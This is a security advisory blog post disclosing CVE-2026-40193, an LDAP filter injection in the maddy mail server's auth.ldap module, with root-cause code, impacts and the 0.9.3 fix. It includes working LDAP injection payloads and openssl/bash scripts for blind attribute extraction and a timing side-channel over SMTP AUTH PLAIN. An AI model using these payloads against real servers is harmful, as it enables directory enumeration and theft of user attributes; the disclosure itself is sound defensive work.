Skip to content
Teatime Lab Security Research
Go back

CVE-2026-40193: LDAP filter injection in maddy

CVE-2026-40193 / GHSA-5835-4gvc-32pc — LDAP filter injection in the auth.ldap module of foxcpp/maddy. Fixed in maddy 0.9.3. CVSS 3.1: 8.2 (High). CWE-90.

Table of contents

Open Table of contents

Background: maddy and auth.ldap

maddy is a composable, single-binary mail server written in Go — SMTP submission, IMAP, MX delivery, authentication, and storage all live in the same process. Deployments that already run an enterprise directory commonly plug in the auth.ldap module so that SMTP AUTH PLAIN and IMAP LOGIN resolve to the organisation’s LDAP users.

A minimal config looks like this:

auth.ldap ldap_auth {
    urls ldap://ldapserver:389
    bind plain "cn=admin,dc=example,dc=org" "adminpassword"
    base_dn "ou=people,dc=example,dc=org"
    filter "(&(objectClass=inetOrgPerson)(uid={username}))"
}

submission tcp://0.0.0.0:587 {
    auth &ldap_auth
    ...
}

The {username} placeholder is what the user types into AUTH PLAIN. It flows, unmodified, all the way from the SMTP wire into the LDAP search filter.

Root cause

All three injection sites live in internal/auth/ldap/ldap.go and share the same anti-pattern: strings.ReplaceAll interpolates the raw username into an LDAP expression with no escaping.

Site 1 — Lookup() filter injection (line 228):

func (a *Auth) Lookup(_ context.Context, username string) (string, bool, error) {
    ...
    req := ldap.NewSearchRequest(
        a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
        2, 0, false,
        strings.ReplaceAll(a.filterTemplate, "{username}", username),
        []string{"dn"}, nil)

Site 2 — AuthPlain() DN-template injection (line 255):

if a.dnTemplate != "" {
    userDN = strings.ReplaceAll(a.dnTemplate, "{username}", username)

Site 3 — AuthPlain() filter injection (line 260):

} else {
    req := ldap.NewSearchRequest(
        a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
        2, 0, false,
        strings.ReplaceAll(a.filterTemplate, "{username}", username),
        []string{"dn"}, nil)

The cruel irony: go-ldap/ldap/v3 is already imported at line 17 of the same file, and it ships ldap.EscapeFilter() — a helper that escapes (, ), *, \, and NUL per RFC 4515. It is never called on user input.

What an attacker gets

Once you can inject arbitrary filter expressions, you inherit the full LDAP query grammar. Four distinct impacts fall out:

1. Identity spoofing

The authenticated identity handed downstream (connState.AuthUser for SMTP, the bare username for IMAP) is the raw injected string, not the DN that was matched. Any authorization policy keyed on “AuthUser equals mailbox owner” can be bypassed by a user who holds any valid credential in the directory.

2. Directory enumeration

Wildcards in the filter let you count and probe:

Injected username: *)(uid=*
Resulting filter:  (&(objectClass=inetOrgPerson)(uid=*)(uid=*))
→ Matches every user in the tree. maddy returns a "too many entries" path
  that is distinguishable from "no such user" — a boolean oracle on
  directory shape.

3. Boolean-based blind attribute extraction

This is the most dangerous primitive. Assume the attacker owns one valid credential, say bob / bob_pass. They want to exfiltrate bob’s description attribute (or userPassword hash, or any attribute):

# Injected:    bob)(description=S*
# Filter:      (&(objectClass=inetOrgPerson)(uid=bob)(description=S*))
#
#  - If description starts with "S" → 1 entry matches → conn.Bind(bob_DN, "bob_pass")
#    succeeds → SMTP 235 (SUCCESS)
#  - Otherwise                      → 0 entries    → SMTP 535 (FAILURE)

INJECTED='bob)(description=S*'
AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF

Iterate characters, walk the alphabet, reconstruct the value. Standard blind-SQLi shape, but over SMTP.

4. Timing side-channel on other users’ attributes

Here is the subtlety that makes this bug worse than it first looks. What if the attacker has no valid credentials at all — can they still extract?

Yes. AuthPlain() has two failure paths that both return SMTP 535 but take measurably different amounts of time:

The SMTP response code is identical. The wall-clock isn’t.

# Target: alice's "description" attribute. Attacker knows NO passwords.
# Injected username: alice)(description=S*
# Filter:            (&(objectClass=inetOrgPerson)(uid=alice)(description=S*))
#
#  - description starts with "S" → 1 match → conn.Bind(alice_DN, "wrong") → SLOW 535
#  - otherwise                   → 0 matches → FAST 535

for c in {a..z} {A..Z} {0..9}; do
    INJECTED="alice)(description=${c}*"
    AUTH_BLOB=$(printf "\x00${INJECTED}\x00wrong" | base64)
    START=$(date +%s%N)
    echo -e "EHLO test\r\nAUTH PLAIN ${AUTH_BLOB}\r\nQUIT\r\n" | \
        openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet 2>/dev/null
    END=$(date +%s%N)
    echo "char='$c' time=$(( (END - START) / 1000000 ))ms"
done

Characters with a longer response time indicate a filter match. Noisy on WAN, but on the same datacenter the signal is cleanly separable with a small number of repeats.

5. DN template path traversal

When dn_template is used instead of filter, the injected username lands in a DN string, not a filter. Different grammar, same problem — you can break out of an OU and target entries in sibling subtrees. ldap.EscapeFilter() is the wrong helper here; you need DN escaping per RFC 4514.

The fix

maddy 0.9.3 calls ldap.EscapeFilter() on the username before filter substitution, and applies DN-value escaping in the dn_template path. The patch is small; the interesting part is that the fix has to know which template it’s feeding — filter vs DN — because the two escape rules are different.

If you roll your own LDAP integration, the rule of thumb:

Why our agent caught it

The shape of this bug — taint flows from network input into a templated query string with no sanitiser on the path — is exactly what our AI audit agent is built to notice. The extra gift was the timing channel: the agent flagged the two-path control flow inside AuthPlain() as a separate observation, and a human reviewer connected it to the injection primitive.

Neither step is hard in isolation. The combination — “here is an injection, and here is why the obvious mitigation of ‘require valid credentials first’ doesn’t help you” — is what takes this from Medium to High.

Timeline

Credit

Yuheng Zhang, Zihan Zhang, Jianjun Chen, and Teatime Lab.


If you run maddy with auth.ldap, upgrade to 0.9.3. If you’re building anything that interpolates user input into an LDAP filter or DN, stop and use the escape helper your LDAP library ships.


Share this post on: